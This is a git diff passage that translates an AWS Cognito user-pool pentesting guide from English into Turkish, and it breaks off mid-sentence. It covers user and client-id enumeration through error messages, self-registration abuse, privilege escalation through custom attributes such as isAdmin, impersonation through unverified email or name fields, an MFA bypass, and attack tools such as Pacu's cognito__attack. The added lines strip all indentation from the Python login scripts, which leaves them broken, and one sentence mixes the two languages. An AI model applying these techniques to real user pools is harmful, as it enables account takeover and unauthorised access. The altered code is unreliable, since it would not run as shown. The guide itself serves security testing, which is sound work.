> [!WARNING] -> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**. +> Kullanıcının oturum açtığı kimlik sağlayıcısına veya sadece **kullanıcıya** (claim'leri kullanarak) bağlı olarak **farklı IAM rollerinin yapılandırılması mümkündür**. Bu nedenle, aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, **oturum açmak ve hepsinin IAM rollerine erişmek** faydalı olabilir. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 08e06fb45..ad7880335 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -2,32 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. +Kullanıcı havuzu, Amazon Cognito'daki bir kullanıcı dizinidir. Bir kullanıcı havuzu ile kullanıcılarınız **Amazon Cognito üzerinden web veya mobil uygulamanıza giriş yapabilir** veya **üçüncü taraf** bir kimlik sağlayıcı (IdP) aracılığıyla **federasyon** yapabilir. Kullanıcılarınız doğrudan veya bir üçüncü taraf aracılığıyla giriş yapsa da, kullanıcı havuzunun tüm üyeleri, bir SDK aracılığıyla erişebileceğiniz bir dizin profiline sahiptir. -User pools provide: +Kullanıcı havuzları şunları sağlar: -- Sign-up and sign-in services. -- A built-in, customizable web UI to sign in users. -- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool. -- User directory management and user profiles. -- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. -- Customized workflows and user migration through AWS Lambda triggers. +- Kayıt ve giriş hizmetleri. +- Kullanıcıları giriş yaptırmak için yerleşik, özelleştirilebilir bir web arayüzü. +- Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal girişler ve kullanıcı havuzunuzdan SAML ve OIDC kimlik sağlayıcıları aracılığıyla. +- Kullanıcı dizini yönetimi ve kullanıcı profilleri. +- Çok faktörlü kimlik doğrulama (MFA), ele geçirilmiş kimlik bilgileri kontrolü, hesap ele geçirme koruması ve telefon ve e-posta doğrulaması gibi güvenlik özellikleri. +- AWS Lambda tetikleyicileri aracılığıyla özelleştirilmiş iş akışları ve kullanıcı göçü. -**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool. +Uygulamaların **kaynak kodu** genellikle **kullanıcı havuzu kimliği** ve **istemci uygulama kimliği** (ve bazen **uygulama sırrı**?) içerir; bunlar bir **kullanıcının** Cognito Kullanıcı Havuzuna **giriş yapması** için gereklidir. -### Potential attacks +### Potansiyel saldırılar -- **Registration**: By default a user can register himself, so he could create a user for himself. -- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack. -- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**. +- **Kayıt**: Varsayılan olarak bir kullanıcı kendini kaydedebilir, bu nedenle kendisi için bir kullanıcı oluşturabilir. +- **Kullanıcı numarası belirleme**: Kayıt işlevselliği, zaten mevcut olan kullanıcı adlarını bulmak için kullanılabilir. Bu bilgi, kaba kuvvet saldırısı için yararlı olabilir. +- **Giriş kaba kuvvet**: [**Kimlik Doğrulama**](cognito-user-pools.md#authentication) bölümünde bir kullanıcının **giriş yapması** için tüm **yöntemleri** bulabilirsiniz, bunları **geçerli kimlik bilgilerini bulmak için** kaba kuvvetle denemeyi deneyebilirsiniz. -### Tools for pentesting - -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\ - For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +### Pentesting için araçlar +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), artık bir hesapta tüm Cognito varlıklarının sayımını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. işaret eden `cognito__enum` ve `cognito__attack` modüllerini içeriyor ve ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel özniteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştiriyor.\ +Modüllerin işlevleri hakkında bilgi için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info. - +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI aracıdır python'da, istenmeyen hesap oluşturma ve hesap oracle'ı dahil olmak üzere Cognito üzerinde farklı saldırılar uygular. Daha fazla bilgi için [bu bağlantıya](https://github.com/padok-team/cognito-scanner) bakın. ```bash # Install pip install cognito-scanner # Run cognito-scanner --help ``` - -- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users. - +- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): Bu script, kullanıcılar için geçerli nitelikleri listelemeye olanak tanır. ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` +## Kayıt -## Registration - -User Pools allows by **default** to **register new users**. - +User Pools varsayılan olarak **yeni kullanıcıların kaydolmasına** izin verir. ```bash aws cognito-idp sign-up --client-id \ - --username --password \ - --region --no-sign-request +--username --password \ +--region --no-sign-request ``` +#### Eğer herkes kayıt olabiliyorsa -#### If anyone can register - -You might find an error indicating you that you need to **provide more details** of abut the user: - +Kullanıcı hakkında **daha fazla ayrıntı sağlamanız gerektiğini** belirten bir hata bulabilirsiniz: ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` - -You can provide the needed details with a JSON such as: - +Aşağıdaki gibi bir JSON ile gerekli bilgileri sağlayabilirsiniz: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` - -You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name: - +Bu işlevselliği **mevcut kullanıcıları listelemek** için de kullanabilirsiniz. O isimle zaten bir kullanıcı varsa hata mesajı: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` - > [!NOTE] -> Note in the previous command how the **custom attributes start with "custom:"**.\ -> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**. - -Or just to test if a client id exists. This is the error if the client-id doesn't exist: +> Önceki komutta **özel niteliklerin "custom:" ile başladığını** not edin.\ +> Ayrıca, kayıt sırasında **kullanıcı için yeni özel nitelikler oluşturamayacağınızı** bilin. Sadece **varsayılan niteliklere** (gerekli olmasalar bile) ve **belirtilen özel niteliklere** değer verebilirsiniz. +Ya da sadece bir istemci kimliğinin var olup olmadığını test etmek için. İstemci kimliği yoksa bu hata alınır: ``` An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist. ``` +#### Sadece admin kullanıcıları kaydedebiliyorsa -#### If only admin can register users - -You will find this error and you own't be able to register or enumerate users: - +Bu hatayı bulacaksınız ve kullanıcıları kaydedemeyecek veya listeleyemeyeceksiniz: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` +### Kayıt Doğrulama -### Verifying Registration - -Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this: - +Cognito, **yeni bir kullanıcıyı e-posta veya telefon numarasını doğrulayarak doğrulamaya** olanak tanır. Bu nedenle, bir kullanıcı oluştururken genellikle en az kullanıcı adı ve şifre ile birlikte **e-posta ve/veya telefon numarası** istenecektir. Sadece **kontrol ettiğiniz** birini ayarlayın, böylece **yeni oluşturduğunuz kullanıcı** **hesabınızı** doğrulamak için kodu alacaksınız: ```bash aws cognito-idp confirm-sign-up --client-id \ - --username aasdasd2 --confirmation-code \ - --no-sign-request --region us-east-1 +--username aasdasd2 --confirmation-code \ +--no-sign-request --region us-east-1 ``` - > [!WARNING] -> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**. +> Aynı e-posta ve telefon numarasını kullanabileceğiniz **gibi görünse de**, oluşturulan kullanıcıyı doğrulamanız gerektiğinde Cognito aynı bilgileri kullanmanız konusunda şikayet edecek ve **hesabı doğrulamanıza izin vermeyecek**. -### Privilege Escalation / Updating Attributes - -By default a user can **modify the value of his attributes** with something like: +### Yetki Yükseltme / Özellikleri Güncelleme +Varsayılan olarak bir kullanıcı **özelliklerinin değerini değiştirebilir** şöyle: ```bash aws cognito-idp update-user-attributes \ - --region us-east-1 --no-sign-request \ - --user-attributes Name=address,Value=street \ - --access-token +--region us-east-1 --no-sign-request \ +--user-attributes Name=address,Value=street \ +--access-token ``` - -#### Custom attribute privesc +#### Özel nitelik privesc > [!CAUTION] -> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself! +> **Özel nitelikler** (örneğin `isAdmin`) kullanıldığını görebilirsiniz, çünkü varsayılan olarak **kendi niteliklerinizin değerlerini değiştirebilirsiniz**, bu nedenle değeri kendiniz değiştirerek **yetki yükseltebilirsiniz**! -#### Email/username modification privesc +#### E-posta/kullanıcı adı değiştirme privesc -You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again). +Bir kullanıcının **e-posta ve telefon numarasını değiştirmek için** bunu kullanabilirsiniz, ancak o zaman, hesap doğrulanmış kalsa bile, bu nitelikler **doğrulanmamış durumda ayarlanır** (tekrar doğrulamanız gerekir). > [!WARNING] -> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\ -> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**. +> E-posta veya telefon numarası ile **giriş yapamayacaksınız** ta ki onları doğrulayana kadar, ancak **kullanıcı adı ile giriş yapabileceksiniz**.\ +> E-posta değiştirilmiş ve doğrulanmamış olsa bile, **`email`** **alanında** ID Token içinde görünecektir ve **`email_verified`** alanı **false** olacaktır, ancak uygulama **bunu kontrol etmiyorsa diğer kullanıcıları taklit edebilirsiniz**. -> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**. - -Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**: +> Ayrıca, **name** alanına sadece **name niteliğini** değiştirerek istediğiniz herhangi bir şeyi koyabileceğinizi unutmayın. Eğer bir uygulama **bu** alanı bir nedenle **`email`** (veya başka bir nitelik) yerine **kontrol ediyorsa**, diğer kullanıcıları **taklit edebilirsiniz**. +Her neyse, e-posta adresinizi örneğin erişebileceğiniz yeni bir e-posta ile değiştirdiyseniz, o e-posta adresinde aldığınız kod ile **e-postayı onaylayabilirsiniz**: ```bash aws cognito-idp verify-user-attribute \ - --access-token \ - --attribute-name email --code \ - --region --no-sign-request +--access-token \ +--attribute-name email --code \ +--region --no-sign-request ``` - -Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**. +**`email`** yerine **`phone_number`** kullanarak **yeni bir telefon numarasını** değiştire/doğrulamak için. > [!NOTE] -> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user. +> Yönetici, **kullanıcının tercih ettiği kullanıcı adıyla giriş yapma** seçeneğini de etkinleştirebilir. Bu değeri, **farklı bir kullanıcıyı taklit etmek için zaten kullanılan herhangi bir kullanıcı adı veya tercih edilen kullanıcı adı** olarak değiştiremeyeceğinizi unutmayın. -### Recover/Change Password - -It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there: +### Şifreyi Kurtarma/Değiştirme +Bir şifreyi kurtarmak, sadece **kullanıcı adını** (veya e-posta veya telefon kabul edilir) bilmek ve oraya bir kod gönderileceği için buna erişim sağlamak mümkündür: ```bash aws cognito-idp forgot-password \ - --client-id \ - --username --region +--client-id \ +--username --region ``` - > [!NOTE] -> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users - -With the code you can change the password with: +> Sunucunun yanıtı her zaman olumlu olacak, sanki kullanıcı adı varmış gibi. Bu yöntemi kullanıcıları listelemek için kullanamazsınız. +Kod ile şifreyi şu şekilde değiştirebilirsiniz: ```bash aws cognito-idp confirm-forgot-password \ - --client-id \ - --username \ - --confirmation-code \ - --password --region +--client-id \ +--username \ +--confirmation-code \ +--password --region ``` - -To change the password you need to **know the previous password**: - +Şifreyi değiştirmek için **önceki şifreyi bilmeniz gerekir**: ```bash aws cognito-idp change-password \ - --previous-password \ - --proposed-password \ - --access-token +--previous-password \ +--proposed-password \ +--access-token ``` +## Kimlik Doğrulama -## Authentication +Bir kullanıcı havuzu **farklı kimlik doğrulama yollarını** destekler. Eğer bir **kullanıcı adı ve şifre** varsa, giriş yapmak için de **farklı yöntemler** desteklenir.\ +Ayrıca, bir kullanıcı Havuzda kimlik doğrulandığında **3 tür token verilir**: **ID Token**, **Erişim token** ve **Yenileme token**. -A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\ -Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**. - -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications. - - The ID Token is the token that **contains the attributes values of the user**, even the custom ones. -- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes. -- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Bu, **kimliği doğrulanmış kullanıcının** `name`, `email` ve `phone_number` gibi iddialarını içerir. ID token, ayrıca **kullanıcıları kaynak sunucularınıza veya sunucu uygulamalarınıza kimlik doğrulamak için** de kullanılabilir. Dış uygulamalarda kullanıyorsanız, ID token içindeki herhangi bir iddiaya güvenmeden önce **imzayı doğrulamalısınız**. +- ID Token, **kullanıcının** özellik değerlerini, hatta özel olanları **içeren token'dır**. +- [**Erişim Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Bu, kimliği doğrulanmış kullanıcı hakkında iddialar, **kullanıcının gruplarının listesi ve kapsamların listesi** içerir. Erişim token'ın amacı, kullanıcı havuzundaki kullanıcı bağlamında **API işlemlerini yetkilendirmektir**. Örneğin, erişim token'ını kullanarak **kullanıcınıza** kullanıcı özelliklerini ekleme, değiştirme veya silme izni verebilirsiniz. +- [**Yenileme Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Yenileme token'ları ile kullanıcı için **yeni ID Token ve Erişim Token** alabilirsiniz, ta ki **yenileme token geçersiz olana kadar**. **Varsayılan olarak**, yenileme token'ı, uygulama kullanıcınızın kullanıcı havuzuna giriş yaptığı tarihten **30 gün sonra süresi dolmaktadır**. Kullanıcı havuzunuz için bir uygulama oluşturduğunuzda, uygulamanın yenileme token süresini **60 dakika ile 10 yıl arasında herhangi bir değere** ayarlayabilirsiniz. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -This is the server side authentication flow: +Bu, sunucu tarafı kimlik doğrulama akışıdır: -- The server-side app calls the **`AdminInitiateAuth` API operation** (instead of `InitiateAuth`). This operation requires AWS credentials with permissions that include **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`**. The operation returns the required authentication parameters. -- After the server-side app has the **authentication parameters**, it calls the **`AdminRespondToAuthChallenge` API operation**. The `AdminRespondToAuthChallenge` API operation only succeeds when you provide AWS credentials. +- Sunucu tarafı uygulama, **`AdminInitiateAuth` API işlemini** çağırır ( `InitiateAuth` yerine). Bu işlem, **`cognito-idp:AdminInitiateAuth`** ve **`cognito-idp:AdminRespondToAuthChallenge`** izinlerini içeren AWS kimlik bilgileri gerektirir. İşlem, gerekli kimlik doğrulama parametrelerini döndürür. +- Sunucu tarafı uygulama **kimlik doğrulama parametrelerine** sahip olduktan sonra, **`AdminRespondToAuthChallenge` API işlemini** çağırır. `AdminRespondToAuthChallenge` API işlemi yalnızca AWS kimlik bilgilerini sağladığınızda başarılı olur. -This **method is NOT enabled** by default. +Bu **yöntem varsayılan olarak etkin değildir**. -To **login** you **need** to know: +**Giriş yapmak için** şunları **bilmeniz gerekir**: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- kullanıcı havuzu kimliği +- istemci kimliği +- kullanıcı adı +- şifre +- istemci sırrı (sadece uygulama bir sır kullanacak şekilde yapılandırılmışsa) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\ -> Moreover, to perform this action you need credentials with the permissions **`cognito-idp:AdminInitiateAuth`** and **`cognito-idp:AdminRespondToAuthChallenge`** - +> Bu yöntemle **giriş yapabilmek için** uygulamanın `ALLOW_ADMIN_USER_PASSWORD_AUTH` ile giriş yapmaya izin vermesi gerekir.\ +> Ayrıca, bu işlemi gerçekleştirmek için **`cognito-idp:AdminInitiateAuth`** ve **`cognito-idp:AdminRespondToAuthChallenge`** izinlerine sahip kimlik bilgilerine ihtiyacınız vardır. ```python aws cognito-idp admin-initiate-auth \ - --client-id \ - --auth-flow ADMIN_USER_PASSWORD_AUTH \ - --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' - --user-pool-id "" +--client-id \ +--auth-flow ADMIN_USER_PASSWORD_AUTH \ +--region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--user-pool-id "" # Check the python code to learn how to generate the hsecret_hash ``` -
-Code to Login - +Giriş Kodu ```python import boto3 import botocore @@ -249,61 +216,57 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.admin_initiate_auth( - UserPoolId=user_pool_id, - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.admin_initiate_auth( +UserPoolId=user_pool_id, +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_PASSWORD_AUTH -This method is another simple and **traditional user & password authentication** flow. It's recommended to **migrate a traditional** authentication method **to Cognito** and **recommended** to then **disable** it and **use** then **ALLOW_USER_SRP_AUTH** method instead (as that one never sends the password over the network).\ -This **method is NOT enabled** by default. +Bu yöntem, başka bir basit ve **geleneksel kullanıcı ve şifre kimlik doğrulama** akışıdır. **Geleneksel** kimlik doğrulama yöntemini **Cognito'ya** **geçirmeniz** ve ardından **devre dışı bırakmanız** ve bunun yerine **ALLOW_USER_SRP_AUTH** yöntemini **kullanmanız** önerilir (çünkü bu yöntem şifreyi ağ üzerinden asla göndermez).\ +Bu **yöntem varsayılan olarak ETKİN DEĞİLDİR**. -The main **difference** with the **previous auth method** inside the code is that you **don't need to know the user pool ID** and that you **don't need extra permissions** in the Cognito User Pool. +Kod içindeki **önceki kimlik doğrulama yöntemine** göre ana **fark**, **kullanıcı havuzunun kimliğini bilmenize** gerek olmaması ve Cognito Kullanıcı Havuzunda **ek izinlere** ihtiyaç duymamanızdır. -To **login** you **need** to know: +**Giriş yapmak için** bilmeniz **gerekir**: -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- istemci kimliği +- kullanıcı adı +- şifre +- istemci sırrı (sadece uygulama bir sır kullanacak şekilde yapılandırılmışsa) > [!NOTE] -> In order to be **able to login with this method** that application must allow to login with ALLOW_USER_PASSWORD_AUTH. - +> Bu yöntemle **giriş yapabilmek için** o uygulamanın ALLOW_USER_PASSWORD_AUTH ile giriş yapmasına izin vermesi gerekir. ```python aws cognito-idp initiate-auth --client-id \ - --auth-flow USER_PASSWORD_AUTH --region \ - --auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' +--auth-flow USER_PASSWORD_AUTH --region \ +--auth-parameters 'USERNAME=,PASSWORD=,SECRET_HASH=' # Check the python code to learn how to generate the secret_hash ``` -
-Python code to Login - +Giriş yapmak için Python kodu ```python import boto3 import botocore @@ -321,48 +284,46 @@ password = "" boto_client = boto3.client('cognito-idp', region_name='us-east-1') def get_secret_hash(username, client_id, client_secret): - key = bytes(client_secret, 'utf-8') - message = bytes(f'{username}{client_id}', 'utf-8') - return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() +key = bytes(client_secret, 'utf-8') +message = bytes(f'{username}{client_id}', 'utf-8') +return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode() # If the Client App isn't configured to use a secret ## just delete the line setting the SECRET_HASH def login_user(username_or_alias, password, client_id, client_secret, user_pool_id): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='ADMIN_USER_PASSWORD_AUTH', - AuthParameters={ - 'USERNAME': username_or_alias, - 'PASSWORD': password, - 'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='ADMIN_USER_PASSWORD_AUTH', +AuthParameters={ +'USERNAME': username_or_alias, +'PASSWORD': password, +'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret) +} +) +except botocore.exceptions.ClientError as e: +return e.response print(login_user(username, password, client_id, client_secret, user_pool_id)) ``` -
### USER_SRP_AUTH -This is scenario is similar to the previous one but **instead of of sending the password** through the network to login a **challenge authentication is performed** (so no password navigating even encrypted through he net).\ -This **method is enabled** by default. +Bu senaryo, önceki senaryoya benzer ancak **şifreyi** ağa gönderme yerine **bir zorluk kimlik doğrulaması gerçekleştirilir** (yani şifre, şifreli bile olsa ağ üzerinden geçmez).\ +Bu **yöntem varsayılan olarak etkindir**. -To **login** you **need** to know: +**Giriş yapmak** için **şunları bilmeniz gerekir**: -- user pool id -- client id -- username -- password -- client secret (only if the app is configured to use a secret) +- kullanıcı havuzu kimliği +- istemci kimliği +- kullanıcı adı +- şifre +- istemci sırrı (sadece uygulama bir sır kullanacak şekilde yapılandırılmışsa)
-Code to login - +Giriş yapmak için kod ```python from warrant.aws_srp import AWSSRP import os @@ -375,32 +336,28 @@ CLIENT_SECRET = 'secreeeeet' os.environ["AWS_DEFAULT_REGION"] = "" aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID, - client_id=CLIENT_ID, client_secret=CLIENT_SECRET) +client_id=CLIENT_ID, client_secret=CLIENT_SECRET) tokens = aws.authenticate_user() id_token = tokens['AuthenticationResult']['IdToken'] refresh_token = tokens['AuthenticationResult']['RefreshToken'] access_token = tokens['AuthenticationResult']['AccessToken'] token_type = tokens['AuthenticationResult']['TokenType'] ``` -
### REFRESH_TOKEN_AUTH & REFRESH_TOKEN -This **method is always going to be valid** (it cannot be disabled) but you need to have a valid refresh token. - +Bu **yöntem her zaman geçerli olacak** (devre dışı bırakılamaz) ancak geçerli bir yenileme token'ına sahip olmanız gerekir. ```bash aws cognito-idp initiate-auth \ - --client-id 3ig6h5gjm56p1ljls1prq2miut \ - --auth-flow REFRESH_TOKEN_AUTH \ - --region us-east-1 \ - --auth-parameters 'REFRESH_TOKEN=' +--client-id 3ig6h5gjm56p1ljls1prq2miut \ +--auth-flow REFRESH_TOKEN_AUTH \ +--region us-east-1 \ +--auth-parameters 'REFRESH_TOKEN=' ``` -
-Code to refresh - +Yenileme kodu ```python import boto3 import botocore @@ -414,83 +371,74 @@ token = '' boto_client = boto3.client('cognito-idp', region_name='') def refresh(client_id, refresh_token): - try: - return boto_client.initiate_auth( - ClientId=client_id, - AuthFlow='REFRESH_TOKEN_AUTH', - AuthParameters={ - 'REFRESH_TOKEN': refresh_token - } - ) - except botocore.exceptions.ClientError as e: - return e.response +try: +return boto_client.initiate_auth( +ClientId=client_id, +AuthFlow='REFRESH_TOKEN_AUTH', +AuthParameters={ +'REFRESH_TOKEN': refresh_token +} +) +except botocore.exceptions.ClientError as e: +return e.response print(refresh(client_id, token)) ``` -
### CUSTOM_AUTH -In this case the **authentication** is going to be performed through the **execution of a lambda function**. +Bu durumda **kimlik doğrulama**, **bir lambda fonksiyonunun yürütülmesi** aracılığıyla gerçekleştirilecektir. -## Extra Security +## Ek Güvenlik -### Advanced Security +### Gelişmiş Güvenlik -By default it's disabled, but if enabled, Cognito could be able to **find account takeovers**. To minimise the probability you should login from a **network inside the same city, using the same user agent** (and IP is thats possible)**.** +Varsayılan olarak devre dışıdır, ancak etkinleştirildiğinde, Cognito **hesap ele geçirmelerini bulabilir**. Olasılığı en aza indirmek için, **aynı şehirdeki bir ağdan, aynı kullanıcı aracını kullanarak** (ve mümkünse IP ile) giriş yapmalısınız. -### **MFA Remember device** +### **MFA Hatırlama cihazı** -If the user logins from the same device, the MFA might be bypassed, therefore try to login from the same browser with the same metadata (IP?) to try to bypass the MFA protection. +Kullanıcı aynı cihazdan giriş yaparsa, MFA atlanabilir, bu nedenle MFA korumasını atlamak için aynı tarayıcıdan aynı meta verilerle (IP?) giriş yapmayı deneyin. -## User Pool Groups IAM Roles +## Kullanıcı Havuzu Grupları IAM Rolleri -It's possible to add **users to User Pool** groups that are related to one **IAM roles**.\ -Moreover, **users** can be assigned to **more than 1 group with different IAM roles** attached. +**Kullanıcıları Kullanıcı Havuzu** gruplarına eklemek mümkündür ve bu gruplar bir **IAM rolü** ile ilişkilidir.\ +Ayrıca, **kullanıcılar**, **farklı IAM rolleri** eklenmiş birden fazla gruba atanabilir. -Note that even if a group is inside a group with an IAM role attached, in order to be able to access IAM credentials of that group it's needed that the **User Pool is trusted by an Identity Pool** (and know the details of that Identity Pool). +Bir grubun, ekli bir IAM rolü olan bir grubun içinde olsa bile, o grubun IAM kimlik bilgilerine erişebilmesi için **Kullanıcı Havuzunun bir Kimlik Havuzu tarafından güvenilir olması** gerektiğini unutmayın (ve o Kimlik Havuzunun ayrıntılarını bilmek). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Kullanıcı, 